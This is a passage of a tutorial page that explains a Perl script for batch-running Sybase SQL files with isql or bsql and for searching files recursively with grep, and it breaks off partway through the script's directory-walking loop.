<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; line-height: normal;"><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">use Sybase::DBlib;<em></em></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; line-height: normal;"><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">$ENV{&#8217;USER&#8217;} = &#8220;dbaadmin&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; line-height: normal;"><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">$ENV{&#8217;PASSWORD&#8217;} = &#8220;*****&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; line-height: normal;"><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">$ENV{&#8217;SERVER&#8217;} = &#8220;lohit&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt 1in; line-height: normal;"><span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">$ENV{&#8217;DATABASE&#8217;} = &#8220;gsquality&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l1 level1 lfo4; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">c)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">c)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Assign User name, Password, Server name and Database name to the variables $ENV{&#8217;USER&#8217;} , $ENV{&#8217;PASSWORD&#8217;}, $ENV{&#8217;SERVER&#8217;} and $ENV{&#8217;DATABASE&#8217;}. defined in the script. Database name is required if you are using ‘bsql’ command.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l1 level1 lfo4; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">d)<span style="font: 7pt &quot;Times New Roman&quot;;">      </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">d)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Set file-filtering condition. Assign ‘.sql’ value to the variable $FileFilter defined in the script. I.e.<span style="mso-spacerun: yes;">  </span>$FileFilter = ‘\.sql’. ‘\’ is put before<span style="mso-spacerun: yes;">  </span>‘.’ to escape the special meaning of it.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l1 level1 lfo4; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">e)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">e)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">       </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Uncomment<span style="mso-spacerun: yes;">  </span>the command. I.e. below line in the script </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: 0.25in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">For ‘isql’ command</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: 0.25in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;"> </span>$command = &#8220;isql -U$ENV{&#8217;USER&#8217;} -P$ENV{&#8217;PASSWORD&#8217;} -S$ENV{&#8217;SERVER&#8217;} &lt; $THISDIR[$i]/$sqlfile&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: 0.25in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">For ‘bsql’ command</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: 0.25in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-spacerun: yes;"> </span>$command = &#8220;bsql -U$ENV{&#8217;USER&#8217;} -P$ENV{&#8217;PASSWORD&#8217;} -S$ENV{&#8217;SERVER&#8217;} -D$ENV{&#8217;DATABASE&#8217;} &lt; $THISDIR[$i]/$sqlfile&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l1 level1 lfo4; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">f)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">f)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">       </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Execute the script. Format for execution – perl &lt;script file name&gt; i.e. perl upload_file.pl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: -0.5in; line-height: normal; mso-list: l2 level1 lfo1; tab-stops: list .75in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;"><span style="font: 7pt &quot;Times New Roman&quot;;">               </span></span></span></strong><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">4.</span></strong><strong><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">                   </span></strong><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Searching of a keyword in all *.tab or all files present in a particular directory or sub directory.</span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Suppose you want to search keyword “table” in all the .tab files present in the current directory or its sub directory. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><strong><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Steps to be followed:</span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l0 level1 lfo5; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">a)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">a)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">       </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Copy the below script and save it in a file with .pl as extension i.e. search_file.pl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l0 level1 lfo5; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">b)<span style="font: 7pt &quot;Times New Roman&quot;;">      </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">b)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Assign search keyword value ‘table’ to the variable $Search_pattern defined in the script. I.e. $Search_pattern = &#8216;table&#8217;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l0 level1 lfo5; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">c)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">c)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Set file-filtering condition. Assign ‘.tab’ value to the variable $FileFilter defined in the script. I.e.<span style="mso-spacerun: yes;">  </span>$FileFilter = ‘\.tab’. ‘\’ is put before<span style="mso-spacerun: yes;">  </span>‘.’ to escape the special meaning of it. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l0 level1 lfo5; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">d)<span style="font: 7pt &quot;Times New Roman&quot;;">      </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">d)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">      </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Uncomment<span style="mso-spacerun: yes;">  </span>the command. I.e. below line in the script </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: 0.25in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">$command = &#8220;grep &#8216;$Search_pattern&#8217; $THISDIR[$i]/$sqlfile&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 1in; text-indent: -0.25in; line-height: normal; mso-list: l0 level1 lfo5; tab-stops: list 1.0in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">e)<span style="font: 7pt &quot;Times New Roman&quot;;">       </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">e)</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">       </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Execute the script. Format for execution – perl &lt;script file name&gt; i.e. perl search_file.pl</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-tab-count: 1;">            </span>This Script can be used for other batch operations also. </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Limitations </span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: -0.5in; line-height: normal; mso-list: l4 level1 lfo6; tab-stops: list .75in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">1.<span style="font: 7pt &quot;Times New Roman&quot;;">                   </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">1.</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">                   </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">It can run on Unix.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt 0.75in; text-indent: -0.5in; line-height: normal; mso-list: l4 level1 lfo6; tab-stops: list .75in; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;"><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';"><span style="mso-list: Ignore;">2.<span style="font: 7pt &quot;Times New Roman&quot;;">                   </span></span></span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">2.</span><span style="font-size: 7pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">                   </span><span style="font-size: 10.5pt; font-family: &quot;Times New Roman&quot;,&quot;serif&quot;; mso-fareast-font-family: 'Times New Roman';">Perl has to be loaded on the System.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 10pt; line-height: normal; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-outline-level: 2;"><strong><span style="text-decoration: underline;"><span style="font-size: 14pt; color: #000066; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 10.5pt;">Script</span></span></strong></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;">#!/opt/local/bin/perl5</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;">#use Sybase::DBlib;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;">#Change the parameters and uncomment for connecting to Database, </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;">#if database connection is required</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"># $ENV{&#8217;USER&#8217;} = &#8220;dbaadmin&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"># $ENV{&#8217;PASSWORD&#8217;} = &#8220;*****&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"># $ENV{&#8217;SERVER&#8217;} = &#8220;lohit&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"># $ENV{&#8217;DATABASE&#8217;} = &#8220;gsquality&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;"> </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"># For Searching Write the pattern here</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;">$Search_pattern = &#8216;tableshiv&#8217;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"># For Searching Write the pattern here</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;">$Replace_pattern = &#8216;tableshiv1234&#8242;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"># Set the file filtering pattern here</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"># Put * if you want to search for all files.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;">$FileFilter = &#8216;\.bak&#8217;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;">&amp;MainProg;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;">sub MainProg</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;">{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span>my($sqlfile, @THISDIR);</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span># Filter for the search file. Here it is .tab</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span>$THISDIR[0] = &#8220;./&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span></span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span>$i = 0;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span>foreach (@THISDIR)</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span># If you want to print the directory, uncomment the below line.</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">    </span>#<span style="mso-spacerun: yes;">    </span>print &#8220;$THISDIR[$i]\n&#8221;;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"> </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>if ( ! opendir (NOW, $THISDIR[$i])) </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">        </span>{</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>print &#8220;Can not open dir $THISDIR[$i]\n&#8221; ;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;">            </span>$i = $i+1;</span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt; line-height: normal;"><span style="font-size: 10pt; font-family: &quot;Arial&quot;,&quot;sans-serif&quot;; mso-fareast-font-family: 'Times New Roman'; mso-bidi-font-size: 12.0pt;"><span style="mso-spacerun: yes;"> </span><span style="mso-spacerun: yes;">           </span>next;</span></p>
